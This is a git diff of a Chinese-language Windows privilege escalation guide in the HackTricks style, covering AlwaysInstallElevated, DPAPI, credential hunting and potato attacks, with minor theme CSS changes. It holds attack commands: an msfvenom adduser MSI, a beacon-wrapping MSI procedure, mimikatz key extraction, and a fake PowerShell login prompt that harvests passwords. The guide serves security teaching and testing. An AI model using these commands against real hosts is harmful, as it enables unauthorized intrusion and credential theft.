在特定条件下，Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行**、用户拥有自我权限允许他们配置 **基于资源的受限委派 (RBCD)**，以及用户在域内创建计算机的能力。重要的是要注意，这些 **要求** 在 **默认设置** 下满足。
在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到 **利用**。
@ -194,7 +194,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
## AlwaysInstallElevated
**如果** 这 2 个注册表 **启用**（值为 **0x1**），则任何权限的用户都可以 **安装**（执行） `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
**如果** 这 2 个注册表 **启用**（值为 **0x1**），那么任何权限的用户都可以 **安装**（执行） `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
使用 power-up 中的 `Write-UserAddMSI` 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本写出一个预编译的 MSI 安装程序，该安装程序提示添加用户/组（因此您需要 GIU 访问权限）：
使用 power-up 中的 `Write-UserAddMSI` 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本写出一个预编译的 MSI 安装程序，该程序提示添加用户/组（因此您需要 GIU 访问权限）：
```
Write-UserAddMSI
```
@ -232,7 +232,7 @@ create-msi-with-wix.md
- **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** 在 `C:\privesc\beacon.exe`
- 打开 **Visual Studio**，选择 **创建新项目**，在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。
- 给项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **将解决方案和项目放在同一目录中**，然后点击 **创建**。
- 给项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **将解决方案和项目放在同一目录**，然后点击 **创建**。
- 一直点击 **下一步**，直到到达第 3 步（选择要包含的文件）。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
- 在 **解决方案资源管理器** 中突出显示 **AlwaysPrivesc** 项目，在 **属性** 中，将 **TargetPlatform** 从 **x86** 更改为 **x64**。
- 还有其他属性可以更改，例如 **作者** 和 **制造商**，这可以使安装的应用看起来更合法。
@ -282,14 +282,14 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
```
### LSA 保护
从 **Windows 8.1** 开始，微软引入了增强的本地安全机构 (LSA) 保护，以 **阻止** 不受信任的进程 **读取其内存** 或注入代码，从而进一步保护系统。\
从 **Windows 8.1** 开始，微软引入了对本地安全机构 (LSA) 的增强保护，以 **阻止** 不受信任的进程 **读取其内存** 或注入代码，从而进一步增强系统安全。\
[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection)。
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### 凭据保护
### Credentials Guard
**Credential Guard** 于 **Windows 10** 中引入。其目的是保护存储在设备上的凭据，防止诸如哈希传递攻击等威胁。| [**有关凭据保护的更多信息。**](../stealing-credentials/credentials-protections.md#credential-guard)
**Credential Guard** 于 **Windows 10** 中引入。其目的是保护存储在设备上的凭据，防止诸如传递哈希攻击等威胁。| [**有关 Credentials Guard 的更多信息。**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
### 文件和文件夹权限
首先，列出进程 **检查进程命令行中的密码**。\
检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写入权限，以利用可能的 [**DLL 劫持攻击**](dll-hijacking/):
检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写权限，以利用可能的 [**DLL 劫持攻击**](dll-hijacking/):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -431,10 +431,10 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
### 启用服务
如果您遇到此错误（例如与SSDPSRV）：
如果您遇到此错误（例如与SSDPSRV相关）：
_系统错误 1058 已发生。_\
&#xNAN;_&#x54;该服务无法启动，可能是因为它被禁用或没有与之关联的启用设备。_
&#xNAN;_&#x54;该服务无法启动，可能是因为它被禁用或没有启用的设备与之关联。_
您可以使用以下方法启用它：
```bash
@ -465,12 +465,12 @@ net stop [service name] && net start [service name]
权限可以通过各种权限提升：
- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。
- **WRITE_DAC**: 使得权限重新配置成为可能，从而能够更改服务配置。
- **WRITE_DAC**: 启用权限重新配置，从而能够更改服务配置。
- **WRITE_OWNER**: 允许获取所有权和权限重新配置。
- **GENERIC_WRITE**: 继承更改服务配置的能力。
- **GENERIC_ALL**: 也继承更改服务配置的能力。
为了检测和利用此漏洞，可以使用 _exploit/windows/local/service_permissions_。
对于此漏洞的检测和利用，可以使用 _exploit/windows/local/service_permissions_。
### 服务二进制文件的弱权限
@ -555,7 +555,7 @@ Windows 允许用户指定在服务失败时采取的操作。此功能可以配
### 已安装的应用程序
检查 **二进制文件的权限**（也许你可以覆盖一个并提升权限）和 **文件夹** ([DLL Hijacking](dll-hijacking/))。
检查 **二进制文件的权限**（也许你可以覆盖一个并提升权限）和 **文件夹的权限** ([DLL Hijacking](dll-hijacking/))。
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -616,7 +616,7 @@ driverquery /SI
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
有关如何滥用此检查的更多信息：
有关如何滥用此检查的更多信息，请参见：
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@ -632,7 +632,7 @@ net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### hosts 文件
### hosts file
检查 hosts 文件中硬编码的其他已知计算机
```
@ -701,7 +701,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### 凭据管理器 / Windows Vault
来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vault 存储用户在服务器、网站和其他程序的凭据，**Windows** 可以 **自动登录用户**。乍一看，这可能看起来像是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等，以便他们通过浏览器自动登录。但事实并非如此。
Windows Vault 存储用户在服务器、网站和其他程序上的凭据，**Windows** 可以 **自动登录用户**。乍一看，这可能看起来像是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等，以便他们通过浏览器自动登录。但事实并非如此。
Windows Vault 存储 Windows 可以自动登录用户的凭据，这意味着任何 **需要凭据来访问资源**（服务器或网站）的 **Windows 应用程序** **都可以利用这个凭据管理器** 和 Windows Vault，并使用提供的凭据，而不是用户一直输入用户名和密码。
@ -727,9 +727,9 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
### DPAPI
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法，主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著增加熵。
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法，主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著贡献熵。
**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中，它利用系统的域认证秘密。
**DPAPI 通过从用户的登录秘密派生的对称密钥来启用密钥的加密**。在涉及系统加密的场景中，它利用系统的域认证秘密。
使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中，其中 `{SID}` 代表用户的 [安全标识符](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**，通常由 64 字节的随机数据组成。（重要的是要注意，该目录的访问受到限制，无法通过 CMD 中的 `dir` 命令列出其内容，但可以通过 PowerShell 列出）。
```powershell
@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
您可以使用 **mimikatz module** `dpapi::cred` 和适当的 `/masterkey` 进行解密。\
您可以使用 `sekurlsa::dpapi` 模块从 **内存** 中提取许多 **DPAPI** **masterkeys**（如果您是 root）。
您可以使用 `sekurlsa::dpapi` 模块（如果您是 root）从 **memory** 中 **extract many DPAPI** **masterkeys**。
{{#ref}}
dpapi-extracting-passwords.md
@ -754,9 +754,9 @@ dpapi-extracting-passwords.md
### PowerShell 凭据
**PowerShell 凭据** 通常用于 **脚本** 和自动化任务，以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护，这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
**PowerShell 凭据** 通常用于 **scripting** 和自动化任务，以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护，这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
要从包含 PS 凭据的文件中 **解密** 凭据，您可以执行：
要从包含 PS 凭据的文件中 **decrypt** 凭据，您可以执行：
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -795,7 +795,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
### 便签
人们经常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息，而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`，始终值得搜索和检查。
人们常常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息，而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`，始终值得搜索和检查。
### AppCmd.exe
@ -803,7 +803,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录中。\
如果该文件存在，则可能已经配置了一些 **凭据** 并可以 **恢复**。
此代码提取自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)：
此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)：
```bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
@ -890,7 +890,7 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
if ($result) { $result }
else { Write "Not Installed." }
```
## 文件和注册表 (凭据)
## 文件和注册表（凭据）
### Putty 凭据
```bash
@ -978,9 +978,9 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
之前有一个功能，允许通过组策略首选项（GPP）在一组机器上部署自定义本地管理员帐户。然而，这种方法存在重大安全缺陷。首先，存储在 SYSVOL 中的组策略对象（GPO）作为 XML 文件，可以被任何域用户访问。其次，这些 GPP 中的密码使用公开文档的默认密钥以 AES256 加密，任何经过身份验证的用户都可以解密。这构成了严重风险，因为这可能允许用户获得提升的权限。
之前有一个功能，可以通过组策略首选项（GPP）在一组机器上部署自定义本地管理员帐户。然而，这种方法存在重大安全缺陷。首先，存储在 SYSVOL 中的组策略对象（GPO）作为 XML 文件，可以被任何域用户访问。其次，这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密，任何经过身份验证的用户都可以解密。这构成了严重风险，因为这可能允许用户获得提升的权限。
为了减轻这一风险，开发了一个功能，用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后，该功能解密密码并返回一个自定义 PowerShell 对象。该对象包括有关 GPP 和文件位置的详细信息，有助于识别和修复此安全漏洞。
为了减轻这一风险，开发了一个功能，用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后，该功能解密密码并返回一个自定义 PowerShell 对象。该对象包含有关 GPP 和文件位置的详细信息，有助于识别和修复此安全漏洞。
在 `C:\ProgramData\Microsoft\Group Policy\history` 或 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**（在 W Vista 之前）_ 中搜索这些文件：
@ -1054,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### 请求凭据
您可以始终**要求用户输入他的凭据或其他用户的凭据**，如果您认为他可能知道这些凭据（请注意，**直接向**客户**请求**凭据是非常**危险**的）：
您可以始终**要求用户输入他的凭据或其他用户的凭据**，如果您认为他可能知道它们（请注意，**直接向客户请求** **凭据**是非常**危险**的）：
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1176,7 +1176,7 @@ COM类和接口在注册表中分别定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLS
![](<../../images/image (729).png>)
基本上，如果您可以**覆盖任何将要执行的DLL**，如果该DLL将由不同用户执行，您就可以**提升权限**。
基本上，如果您可以**覆盖任何将要执行的DLL**，您可以**提升权限**，如果该DLL将由不同用户执行。
要了解攻击者如何使用COM劫持作为持久性机制，请查看：
@ -1198,7 +1198,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
**搜索注册表中的键名和密码**
**搜索注册表中的密钥名称和密码**
```bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
@ -1220,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## 泄露的句柄
想象一下，**一个以 SYSTEM 身份运行的进程打开一个新进程** (`OpenProcess()`)，并且具有**完全访问权限**。同一个进程**还创建一个新进程** (`CreateProcess()`) **，该进程具有低权限但继承了主进程的所有打开句柄**。\
然后，如果你对这个低权限进程**拥有完全访问权限**，你可以获取通过 `OpenProcess()` 创建的**特权进程的打开句柄**并**注入 shellcode**。\
想象一下，**一个以SYSTEM身份运行的进程打开一个新进程**（`OpenProcess()`）并具有**完全访问权限**。同一个进程**还创建一个新进程**（`CreateProcess()`），**具有低权限但继承主进程的所有打开句柄**。\
然后，如果你对低权限进程**具有完全访问权限**，你可以获取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入shellcode**。\
[阅读这个例子以获取有关**如何检测和利用此漏洞**的更多信息。](leaked-handle-exploitation.md)\
[阅读这篇**其他文章以获得更完整的解释，了解如何测试和滥用具有不同权限级别（不仅仅是完全访问权限）继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
@ -1229,17 +1229,17 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
共享内存段，称为**管道**，使进程之间能够进行通信和数据传输。
Windows 提供了一种称为**命名管道**的功能，允许不相关的进程共享数据，甚至跨不同网络。这类似于客户端/服务器架构，角色定义为**命名管道服务器**和**命名管道客户端**。
Windows提供了一种称为**命名管道**的功能，允许不相关的进程共享数据，甚至跨不同网络。这类似于客户端/服务器架构，角色定义为**命名管道服务器**和**命名管道客户端**。
当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它具有必要的**SeImpersonate** 权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了一个**获得更高权限**的机会，通过采用该进程的身份，一旦它与您建立的管道进行交互。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](./#from-high-integrity-to-system)找到有用的指南。
当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了**获得更高权限**的机会，通过采用该进程的身份，一旦它与您建立的管道进行交互。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](./#from-high-integrity-to-system)找到有用的指南。
此外，以下工具允许**使用像 burp 这样的工具拦截命名管道通信：** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **，而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
此外，以下工具允许**使用像burp这样的工具拦截命名管道通信：** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## 杂项
### **监控命令行中的密码**
当以用户身份获取 shell 时，可能会有计划任务或其他进程正在执行，这些进程**在命令行中传递凭据**。下面的脚本每两秒捕获一次进程命令行，并将当前状态与先前状态进行比较，输出任何差异。
当以用户身份获取shell时，可能会有计划任务或其他进程正在执行，这些进程**在命令行中传递凭据**。下面的脚本每两秒捕获一次进程命令行，并将当前状态与先前状态进行比较，输出任何差异。
```powershell
while($true)
{
@ -1319,7 +1319,7 @@ integrity-levels.md
### **新服务**
如果您已经在高完整性进程中运行，**切换到 SYSTEM** 可以通过**创建和执行新服务**来轻松实现：
如果您已经在高完整性进程中运行，**切换到 SYSTEM** 可以通过**创建和执行新服务**变得简单：
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
@ -1327,7 +1327,7 @@ sc start newservicename
### AlwaysInstallElevated
从高完整性进程中，您可以尝试**启用 AlwaysInstallElevated 注册表项**并**使用 _**.msi**_ 包装器安装**反向 shell。\
[有关涉及的注册表项和如何安装 _.msi_ 包的更多信息，请点击这里。](./#alwaysinstallelevated)
[有关相关注册表项和如何安装 _.msi_ 包的更多信息，请点击这里。](./#alwaysinstallelevated)
### High + SeImpersonate privilege to System
@ -1343,7 +1343,7 @@ sc start newservicename
此技术被 meterpreter 用于在 `getsystem` 中进行升级。该技术包括**创建一个管道，然后创建/滥用一个服务来写入该管道**。然后，**使用 `SeImpersonate` 权限创建管道的**服务器将能够**模拟管道客户端（服务）的令牌**，从而获得 SYSTEM 权限。\
如果您想要[**了解更多关于命名管道的信息，您应该阅读这个**](./#named-pipe-client-impersonation)。\
如果您想阅读[**如何通过命名管道从高完整性转到系统的示例，您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
如果您想阅读一个[**如何通过命名管道从高完整性转到系统的示例，您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
### Dll Hijacking
@ -1352,7 +1352,9 @@ sc start newservicename
### **From Administrator or Network Service to System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### From LOCAL SERVICE or NETWORK SERVICE to full privs
@ -1369,25 +1371,25 @@ sc start newservicename
**PS**
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错误配置和敏感文件 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已检测。**\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错误配置和敏感文件 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已检测到。**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的错误配置并收集信息 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查错误配置**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 保存的会话信息。使用 -Thorough 在本地。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器提取凭据。已检测。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器提取凭据。已检测到。**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中喷洒收集到的密码**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 privesc Windows 枚举**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞（已弃用，替换为 Watson）\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞（已弃用，适用于 Watson）\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要管理员权限)**
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞（需要使用 VisualStudio 编译） ([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置（更多是收集信息工具而非 privesc）（需要编译） **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置（更多是收集信息的工具而不是 privesc）（需要编译） **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据（在 github 上有预编译 exe）**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（在 github 上的可执行文件预编译）。不推荐。它在 Win10 上效果不佳。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 python 的 exe）。不推荐。它在 Win10 上效果不佳。
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（在 github 上的可执行文件预编译）。不推荐。它在 Win10 中效果不好。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 python 的 exe）。不推荐。它在 Win10 中效果不好。
**Bat**

15
src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato在** Windows Server 2019 和 Windows 10 build 1809 及之后的版本上**无法工作**。然而， [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。 _**检查：**_
> [!WARNING] > **JuicyPotato在** Windows Server 2019 和 Windows 10 build 1809 及之后的版本上**无法工作**。然而， [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。 _**检查：**_
{{#ref}}
roguepotato-and-printspoofer.md
@ -19,7 +18,7 @@ _一个经过糖化的_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotte
[**来自 juicy-potato 的 Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变种](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链，具有在 `127.0.0.1:6666` 上的 MiTM 监听器，并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中，我们发现了一个故意禁用 `BITS` 的设置，并且端口 `6666` 被占用。
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变体](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链，具有在 `127.0.0.1:6666` 上的 MiTM 监听器，并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中，我们发现一个设置，其中 `BITS` 被故意禁用，端口 `6666` 被占用。
我们决定武器化 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)：**向 Juicy Potato 打个招呼**。
@ -27,11 +26,11 @@ _一个经过糖化的_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotte
我们发现，除了 `BITS` 之外，还有几个 COM 服务器可以被滥用。它们只需要：
1. 由当前用户实例化，通常是具有模拟权限的“服务用户”
1. 可由当前用户实例化，通常是具有模拟权限的“服务用户”
2. 实现 `IMarshal` 接口
3. 以提升的用户身份运行（SYSTEM，Administrator，…）
经过一些测试，我们在多个 Windows 版本上获得并测试了一份广泛的 [有趣 CLSID 列表](http://ohpe.it/juicy-potato/CLSID/)。
经过一些测试，我们获得并测试了一份在多个 Windows 版本上的 [有趣 CLSID 的广泛列表](http://ohpe.it/juicy-potato/CLSID/)。
### Juicy 细节 <a href="#juicy-details" id="juicy-details"></a>
@ -108,7 +107,9 @@ c:\Users\Public>
通常，JuicyPotato 使用的默认 CLSID **无法工作**，并且漏洞利用失败。通常，需要多次尝试才能找到一个 **有效的 CLSID**。要获取特定操作系统的 CLSID 列表，您应该访问此页面：
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **检查 CLSID**
@ -118,7 +119,7 @@ c:\Users\Public>
然后下载 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)（更改 CLSID 列表和 juicypotato 可执行文件的路径）并执行它。它将开始尝试每个 CLSID，**当端口号改变时，这意味着 CLSID 有效**。
**检查** 有效的 CLSID **使用参数 -c**
**使用参数 -c 检查** 有效的 CLSID
## 参考

19
theme/css/chrome.css
View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle {
position: relative;
}
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar,
.menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
z-index: 101;
z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);

6
theme/css/variables.css
View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%);
--table-alternate-bg: hsl(226, 23%, 14%);
--table-header-bg: #2f2f2f;
--table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%);
--table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;

7
theme/index.hbs
View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
